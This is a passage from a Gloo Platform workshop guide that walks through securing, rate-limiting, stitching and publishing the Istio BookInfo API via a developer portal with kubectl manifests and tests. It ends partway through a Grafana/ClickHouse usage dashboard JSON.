the Istio BookInfo application","url":"https://istio.io/docs/samples/bookinfo.html"},"info":{"description":"This + is the API of the Istio BookInfo sample application.","license":{"name":"Apache + 2.0","url":"http://www.apache.org/licenses/LICENSE-2.0.html"},"termsOfService":"https://istio.io/","title":"BookInfo + API","version":"1.0.0"},"openapi":"3.0.3","paths":{"/products":{"get":{"description":"List + all products available in the application with a minimum amount of information.","operationId":"getProducts","responses":{"200":{"content":{"application/json":{"schema":{"items":{"$ref":"#/components/schemas/Product"},"type":"array"}}},"description":"successful + operation"}},"summary":"List all products","tags":["product"]}},"/products/{id}":{"get":{"description":"Get + detailed information about an individual product with the given id.","operationId":"getProduct","parameters":[{"description":"Product + id","in":"path","name":"id","required":true,"schema":{"format":"int32","type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProductDetails"}}},"description":"successful + operation"},"400":{"description":"Invalid product id"}},"summary":"Get individual + product","tags":["product"]}},"/products/{id}/ratings":{"get":{"description":"Get + ratings for a product, including stars and their color.","operationId":"getProductRatings","parameters":[{"description":"Product + id","in":"path","name":"id","required":true,"schema":{"format":"int32","type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProductRatings"}}},"description":"successful + operation"},"400":{"description":"Invalid product id"}},"summary":"Get ratings + for a product","tags":["rating"]}},"/products/{id}/reviews":{"get":{"description":"Get + reviews for a product, including review text and possibly ratings information.","operationId":"getProductReviews","parameters":[{"description":"Product + id","in":"path","name":"id","required":true,"schema":{"format":"int32","type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProductReviews"}}},"description":"successful + operation"},"400":{"description":"Invalid product id"}},"summary":"Get reviews + for a product","tags":["review"]}}},"servers":[{"url":"/api/v1"}],"tags":[{"description":"Information + about a product (in this case a book)","name":"product"},{"description":"Review + information for a product","name":"review"},{"description":"Rating information + for a product","name":"rating"}]}' + servedBy: + - destinationSelector: + port: + number: 9080 + selector: + cluster: cluster1 + name: productpage + namespace: bookinfo-frontends +``` + +Note that you can create the `APIDoc` manually to allow you: +- to provide the OpenAPI document as code +- to declare an API running outside of Kubernetes (`ExternalService`) +- to target a service running on a different cluster (`VirtualDestination`) +- ... + +We can now expose the API through Ingress Gateway using a `RouteTable`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the API without authentication", () => { + it('Checking text \'The Comedy of Errors\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v1', body: 'The Comedy of Errors', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-api/tests/access-api-no-auth.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Here is the expected output: + +```json,nocopy +[{"id": 0, "title": "The Comedy of Errors", "descriptionHtml": "Wikipedia Summary: The Comedy of Errors is one of William Shakespeare's early plays. It is his shortest and one of his most farcical comedies, with a major part of the humour coming from slapstick and mistaken identity, in addition to puns and word play."}] +``` + +You generally want to secure the access. Let's use API keys for that. + +You need to create an `ExtAuthPolicy`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Access to API unauthorized", () => { + it('Response code is 401', () => helpers.checkURL({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v1', retCode: 401 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-api/tests/access-api-unauthorized.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +The access is refused (401 response): + +```http +HTTP/2 401 +www-authenticate: API key is missing or invalid +date: Wed, 05 Apr 2023 08:13:11 GMT +server: istio-envoy +``` + +Let's create an API key for a user `user1`: + +```bash +export API_KEY_USER1=apikey1 +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Access to API authorized", () => { + it('Response code is 200', () => helpers.checkURL({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v1', headers: [{key: 'api-key', value: process.env.API_KEY_USER1}], retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-api/tests/access-api-authorized.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +We'll see later that the API keys can be created on demand by the end user through the developer portal (and stored on Redis for better scalability). + +So, we've secured the access to our API, but you generally want to limit the usage of your API. + +We're going to create 3 usage plans (bronze, silver and gold). + +The user `user1` is a gold user (`gold` base64 is `Z29sZA==`). + +The `X-Solo-Plan` is created by the `ExtAuthPolicy` we have created earlier. + +Then, we need to create a `RateLimitServerConfig` object to define the limits based on the descriptors we will use later: + +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/_GsECm06AgQ "Video Link") + + +You can also expose external APIs. + +Let's create an external service to define how to access the host [openlibrary.org](https://openlibrary.org/): + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("APIDoc has been created", () => { + it('APIDoc is present', () => helpers.k8sObjectIsPresent({ context: process.env.CLUSTER1, namespace: "bookinfo-frontends", k8sType: "apidoc", k8sObj: "openlibrary" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-stitching/tests/apidoc-created.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Finally, you can create a new `RouteTable` to stitch together the `/search.json` path with the existing Bookinfo API: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the openlibrary API", () => { + it('Checking text \'language\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v2/search.json?title=The%20Comedy%20of%20Errors&fields=language&limit=1', headers: [{key: 'api-key', value: process.env.API_KEY_USER1}], body: 'language', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-stitching/tests/access-openlibrary-api.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You should get something like that: + +```json,nocopy +{ + "numFound": 202, + "start": 0, + "numFoundExact": true, + "docs": [ + { + "language": [ + "ger", + "und", + "eng", + "tur", + "ita", + "fre", + "tsw", + "heb", + "spa", + "nor", + "slo", + "chi", + "mul", + "esp", + "dut", + "fin" + ] + } + ], + "num_found": 202, + "q": "", + "offset": null +} +``` + +Note we've also exposed the `/authors/{olid}.json` path to demonstrate how we can use regular expressions to capture path parameters. + +You can try it out with the following command: + +```shell +curl -k -H "api-key: ${API_KEY_USER1}" "https://cluster1-bookinfo.example.com/api/bookinfo/v2/authors/OL23919A.json" +``` + + + +## Lab 15 - Expose the dev portal backend +[VIDEO LINK](https://youtu.be/mfXww6udYFs "Video Link") + + +Now that your API has been exposed securely and our plans defined, you probably want to advertise it through a developer portal. + +Two components are serving this purpose: +- the Gloo Platform portal backend which provides an API +- the Gloo Platform portal frontend which consumes this API + +In this lab, we're going to setup the Gloo Platform portal backend. + +The Gateway team should create a parent `RouteTable` for the portal. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the portal API without authentication", () => { + it('Checking text \'portal config not found\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-portal.example.com`, path: '/portal-server/v1/apis', body: 'portal config not found', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-backend/tests/access-portal-api-no-auth-no-config.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Here is the expected output: + +```json,nocopy +{"message":"portal config not found for host: ***"} +``` + +You can see that no portal configuration has been found. + +We'll create it later. + + + +## Lab 16 - Deploy and expose the dev portal frontend + + +The developer frontend is provided as a fully functional template to allow you to customize it based on your own requirements. + + + +Let's deploy it: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the portal frontend without authentication", () => { + it('Checking text \'Developer Portal\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-portal.example.com`, path: '/index.html', body: 'Developer Portal', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-frontend/tests/access-portal-frontend-no-auth.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=300 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +We need to secure the access to the portal frontend. + +First, you need to create a Kubernetes Secret that contains the OIDC secret: + +```bash +kubectl --context ${CLUSTER1} apply -f - < + +Note that The `ExtAuthPolicy` is enforced on both the `portal-frontend` and `portal-server` `RouteTables`. + +Finally, you need to create a CORS Policy to allow the portal frontend to send API calls the `bookinfo` API. + +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/fipCEZqijcQ "Video Link") + + +In the previous steps, we've used Kubernetes secrets to store API keys and we've created them manually. + +In this steps, we're going to configure the developer portal to allow the user to create their API keys themselves and to store them on Redis (for better scalability and to support the multicluster use case). + +You need to update the `ExtAuthPolicy` (to remove the `k8sSecretApikeyStorage` block): + +```bash +kubectl --context ${CLUSTER1} apply -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the portal API without authentication", () => { + it('Checking text \'null\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-portal.example.com`, path: '/portal-server/v1/apis', body: '[]', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-self-service/tests/access-portal-api-no-auth-empty.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Users will authenticate on the frontends using OIDC and get access to specific APIs and plans based on the claims they'll have in the returned JWT token. + +You need to create a `PortalGroup` object to define these rules: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + +If you click on the `LOGIN` button on the top right corner, you'll be redirected to keycloak and should be able to auth with the user `user1` and the password `password`. + +Now, if you click on the `VIEW APIS` button, you should see the `Bookinfo REST API`. + +![Dev Portal APIs](images/steps/dev-portal-self-service/apis.png) + +Then, you can open the drop down menu by clicking on `user1` on the top right corner and select `API Keys`. + +![Dev Portal API keys](images/steps/dev-portal-self-service/api-keys.png) + +As you can see, you have access to the `Gold` plan and can create an API key for it. Click on the `+ADD KEY` button. + +Give it a name and click on `GENERATE KEY`. + +![Dev Portal API key](images/steps/dev-portal-self-service/api-key.png) + +Copy the key. If you don't do that, you won't be able to see it again. You'll need to create a new one. + +You can now use the key to try out the API. + +You'll need to use the `Swagger View` and then to click on the `Authorize` button to paste your API key. + +Before we continue, let's update the API_KEY_USER1 variable with its current value: + +```bash +export API_KEY_USER1=$(curl -k -s -X POST -H 'Content-Type: application/json' -d '{"usagePlan": "gold", "apiKeyName": "key1"}' -H "Cookie: ${USER1_TOKEN}" "https://cluster1-portal.example.com/portal-server/v1/api-keys" | jq -r '.apiKey') +echo API key: $API_KEY_USER1 +``` + + + + + +## Lab 18 - Dev portal monetization +[VIDEO LINK](https://youtu.be/VTvQ7YQi2eA "Video Link") + + +The recommended way to monetize your API is to leverage the usage plans we've defined in the previous labs. + +In that case, you don't need to measure how many calls are sent by each user. + +But if you requires fine grained monetization, we can deliver this as well. + +The `portalMetadata` section of the `RouteTable` we've created previously is used to add some metadata in the access logs. + +You can configure the access logs to take advantage of the metadata: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Monetization is working", () => { + it('Response contains all the required monetization fields', () => { + const response = helpers.getOutputForCommand({ command: `curl -k -H \"api-key: ${process.env.API_KEY_USER1}\" https://cluster1-bookinfo.example.com/api/bookinfo/v1` }); + const output = JSON.parse(helpers.getOutputForCommand({ command: `kubectl --context ${process.env.CLUSTER1} -n istio-gateways logs -l istio=ingressgateway --tail 1` })); + expect(output.usage_plan).to.equals("gold"); + expect(output.api_product_id).to.equals("bookinfo"); + expect(output.user_id).to.equals("user1@example.com"); + }); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-monetization/tests/monetization.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 3m mocha ./test.js --timeout 10000 --retries=150 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + + +## Lab 19 - Deploy Backstage with the backend plugin + + +To allow the Backstage backend plugin to communicate with the Gloo Mesh Portal Server through the Istio Ingress Gateway, we need to create an `ExternalService` and an `ExternalEndpoint` objects. + +```bash +kubectl apply --context ${CLUSTER1} -f - <= 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Server error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "User error count in this period (4xx status codes)", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "orange", + "value": null + }, + { + "color": "red", + "value": 10000 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 3, + "x": 16, + "y": 1 + }, + "id": 84, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n CAST(LogAttributes['status_code'] AS INT) >= 400 AND CAST(LogAttributes['status_code'] AS INT) < 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "User error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "bars", + "fillOpacity": 17, + "gradientMode": "opacity", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 4, + "pointSize": 15, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": false, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 7, + "x": 0, + "y": 5 + }, + "id": 197, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 0, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['status_code'] AS statusCode,\n count(*) as count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n statusCode, \n time\nORDER BY \n time ASC", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "Status codes over time", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "timeseries" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + } + }, + "decimals": 0, + "mappings": [], + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 4, + "x": 7, + "y": 5 + }, + "id": 2, + "interval": "1h", + "options": { + "legend": { + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "pieType": "pie", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 0, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['api_id'] AS apiId,\n count(*) AS count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n apiId, \n time\nORDER BY \n time ASC", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "API Product distribution", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "piechart" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "gridPos": { + "h": 7, + "w": 13, + "x": 11, + "y": 5 + }, + "id": 196, + "options": { + "dedupStrategy": "none", + "enableLogDetails": true, + "prettifyLogMessage": false, + "showCommonLabels": false, + "showLabels": false, + "showTime": false, + "sortOrder": "Descending", + "wrapLogMessage": false + }, + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 2, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n*\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp)", + "refId": "A", + "selectedFormat": 2 + } + ], + "title": "Recent requests", + "transformations": [ + { + "id": "organize", + "options": { + "excludeByName": { + "Body": true, + "ServiceName": true, + "SeverityNumber": true, + "SeverityText": true, + "SpanId": true, + "TraceFlags": true, + "TraceId": true + }, + "indexByName": {}, + "renameByName": {} + } + } + ], + "type": "logs" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "line", + "fillOpacity": 67, + "gradientMode": "opacity", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 3, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": false, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 10000 + } + ] + }, + "unit": "bytes" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 11, + "x": 0, + "y": 12 + }, + "id": 201, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n LogAttributes['bytes_sent'] as bytes_sent,\n $__timeInterval(Timestamp) AS time,\n count(*) AS bytes\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n bytes_sent,\n time\nORDER BY \n time ASC\n", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "Bytes sent over time", + "type": "timeseries" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "line", + "fillOpacity": 8, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 1, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": true, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 13, + "x": 11, + "y": 12 + }, + "id": 132, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "pluginVersion": "10.0.0", + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + 